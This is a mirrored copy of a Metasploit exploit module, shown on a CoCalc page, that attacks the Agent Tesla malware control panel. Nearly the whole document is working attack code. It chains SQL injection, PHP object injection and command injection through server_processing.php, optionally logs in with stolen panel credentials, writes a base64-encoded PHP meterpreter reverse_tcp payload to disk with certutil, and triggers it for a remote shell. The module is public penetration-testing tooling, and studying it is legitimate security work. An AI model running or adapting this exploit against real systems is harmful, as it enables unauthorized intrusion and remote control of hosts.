CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/multi/http/agent_tesla_panel_rce.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ExcellentRanking
8
9
include Msf::Exploit::Remote::HttpClient
10
include Msf::Exploit::FileDropper
11
prepend Msf::Exploit::Remote::AutoCheck
12
13
def initialize(info = {})
14
super(
15
update_info(
16
info,
17
'Name' => 'Agent Tesla Panel Remote Code Execution',
18
'Description' => %q{
19
This module exploits a command injection vulnerability within the Agent Tesla control panel,
20
in combination with an SQL injection vulnerability and a PHP object injection vulnerability, to gain
21
remote code execution on affected hosts.
22
23
Panel versions released prior to Sepetember 12, 2018 can be exploited by unauthenticated attackers to
24
gain remote code execution as user running the web server. Agent Tesla panels released on or after
25
this date can still be exploited however, provided that attackers have valid credentials for the
26
Agent Tesla control panel.
27
28
Note that this module presently only fully supports Windows hosts running Agent Tesla on the WAMP stack.
29
Support for Linux may be added in a future update, but could not be confirmed during testing.
30
},
31
'Author' => [
32
'Ege Balcı <[email protected]>', # discovery and independent module
33
'mekhalleh (RAMELLA Sébastien)', # Added windows targeting and authenticated RCE
34
'gwillcox-r7' # Multiple edits to finish porting the exploit over to Metasploit
35
],
36
'References' => [
37
['EDB', '47256'], # Original PoC and Metasploit module
38
['URL', 'https://github.com/mekhalleh/agent_tesla_panel_rce/tree/master/resources'], # Agent-Tesla WebPanel's available for download
39
['URL', 'https://www.pirates.re/agent-tesla-remote-command-execution-(fighting-the-webpanel)'], # Writeup in French on this module and its surrounding research.
40
['URL', 'https://krebsonsecurity.com/2018/10/who-is-agent-tesla/'] # Background info on Agent Tesla
41
],
42
'DisclosureDate' => '2019-08-14', # Date of first PoC for this module, not aware of anything prior to this.
43
'License' => MSF_LICENSE,
44
'Platform' => ['php'],
45
'Arch' => [ARCH_PHP],
46
'Privileged' => false,
47
'Targets' => [
48
[
49
'Automatic (PHP-Dropper)', {
50
'Platform' => 'php',
51
'Arch' => [ARCH_PHP],
52
'Type' => :php_dropper,
53
'DefaultOptions' => {
54
'PAYLOAD' => 'php/meterpreter/reverse_tcp',
55
'DisablePayloadHandler' => 'false'
56
}
57
}
58
],
59
],
60
'DefaultTarget' => 0,
61
'Notes' => {
62
'Stability' => [CRASH_SAFE],
63
'Reliability' => [REPEATABLE_SESSION],
64
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
65
}
66
)
67
)
68
69
register_options([
70
OptString.new('PASSWORD', [false, 'The Agent Tesla CnC password to authenticate with', nil]),
71
OptString.new('TARGETURI', [true, 'The URI where the Agent Tesla CnC panel is located on the target', '/WebPanel/']),
72
OptString.new('USERNAME', [false, 'The Agent Tesla CnC username to authenticate with', nil])
73
])
74
end
75
76
def os_get_name
77
response = parse_response(execute_command('echo $PATH'))
78
79
## Not linux, check Windows.
80
response = parse_response(execute_command('echo %PATH%')) if response.include?('$PATH')
81
82
os_name = ''
83
if response =~ %r{^/}
84
os_name = 'linux'
85
elsif response =~ /^[a-zA-Z]:\\/
86
os_name = 'windows'
87
end
88
89
os_name
90
end
91
92
def parse_response(js)
93
return '' unless js
94
95
begin
96
return js.get_json_document['data'][0].values.join
97
rescue NoMethodError
98
return ''
99
end
100
return ''
101
end
102
103
def execute_command(command, _opts = {})
104
junk = rand(1_000)
105
sql_prefix = Rex::Text.to_rand_case("#{junk} LIKE #{junk} UNION SELECT ")
106
requested_payload = {
107
'table' => 'passwords',
108
'primary' => 'HWID',
109
'clmns' => 'a:1:{i:0;a:3:{s:2:"db";s:4:"HWID";s:2:"dt";s:4:"HWID";s:9:"formatter";s:4:"exec";}}',
110
'where' => Rex::Text.encode_base64("#{sql_prefix}\"#{command}\"")
111
}
112
cookie = auth_get_cookie
113
114
request = {
115
'method' => 'GET',
116
'uri' => normalize_uri(target_uri.path, 'server_side', 'scripts', 'server_processing.php')
117
}
118
request = request.merge({ 'cookie' => cookie }) if cookie != :not_auth
119
request = request.merge({
120
'encode_params' => true,
121
'vars_get' => requested_payload
122
})
123
124
response = send_request_cgi(request)
125
return false unless response
126
127
return response if response.body
128
129
false
130
end
131
132
def auth_get_cookie
133
if datastore['USERNAME'] && datastore['PASSWORD']
134
response = send_request_cgi(
135
'method' => 'POST',
136
'uri' => normalize_uri(target_uri.path, 'login.php'),
137
'vars_post' => {
138
'Username' => datastore['USERNAME'],
139
'Password' => datastore['PASSWORD']
140
}
141
)
142
return :not_auth unless response
143
144
return response.get_cookies if response.redirect? && response.headers['location'] =~ /index.php/
145
end
146
147
:not_auth
148
end
149
150
def check
151
# check for login credentials couple.
152
if datastore['USERNAME'] && datastore['PASSWORD'].nil?
153
fail_with(Failure::BadConfig, 'The USERNAME option is defined but PASSWORD is not, please set PASSWORD.')
154
end
155
156
if datastore['PASSWORD'] && datastore['USERNAME'].nil?
157
fail_with(Failure::BadConfig, 'The PASSWORD option is defined but USERNAME is not, please set USERNAME.')
158
end
159
160
response = send_request_cgi(
161
'method' => 'GET',
162
'uri' => normalize_uri(target_uri.path, 'server_side', 'scripts', 'server_processing.php')
163
)
164
165
if response
166
if response.redirect? && response.headers['location'] =~ /login.php/ && !(datastore['USERNAME'] && datastore['PASSWORD'])
167
print_warning('Unauthenticated RCE can\'t be exploited, retry if you gain CnC credentials.')
168
return Exploit::CheckCode::Unknown
169
end
170
171
rand_str = Rex::Text.rand_text_alpha(8..16)
172
cmd_output = parse_response(execute_command("echo #{rand_str}"))
173
174
return Exploit::CheckCode::Vulnerable if cmd_output.include?(rand_str)
175
end
176
177
Exploit::CheckCode::Safe
178
end
179
180
def exploit
181
os = os_get_name
182
unless os
183
print_bad('Could not determine the targeted operating system.')
184
return Msf::Exploit::Failed
185
end
186
print_status("Targeted operating system is: #{os}")
187
188
file_name = ".#{Rex::Text.rand_text_alpha(10)}.php"
189
case os
190
when /linux/
191
fail_with(Failure::NoTarget, "This module currently doesn't support exploiting Linux targets!")
192
when /windows/
193
cmd = "echo #{Rex::Text.encode_base64(payload.encoded)} > #{file_name}.b64 & certutil -decode #{file_name}.b64 #{file_name} & del #{file_name}.b64"
194
end
195
print_status("Sending #{datastore['PAYLOAD']} command payload")
196
vprint_status("Generated command payload: #{cmd}")
197
198
response = execute_command(cmd)
199
unless response && response.code == 200 && response.body.include?('command completed successfully')
200
fail_with(Failure::UnexpectedReply, 'Payload upload failed :(')
201
end
202
if os == 'windows'
203
panel_uri = datastore['TARGETURI'].gsub('/', '\\')
204
print_status("Payload uploaded as: #{file_name} to C:\\wamp64\\www\\#{panel_uri}\\server_side\\scripts\\#{file_name}")
205
register_file_for_cleanup("C:\\wamp64\\www\\#{panel_uri}\\server_side\\scripts\\#{file_name}")
206
else
207
fail_with(Failure::NoTarget, "This module currently doesn't support exploiting Linux targets! This error should never be hit!")
208
end
209
210
# Triggering payload.
211
send_request_cgi({
212
'method' => 'GET',
213
'uri' => normalize_uri(target_uri.path, 'server_side', 'scripts', file_name)
214
}, 2.5)
215
end
216
end
217
218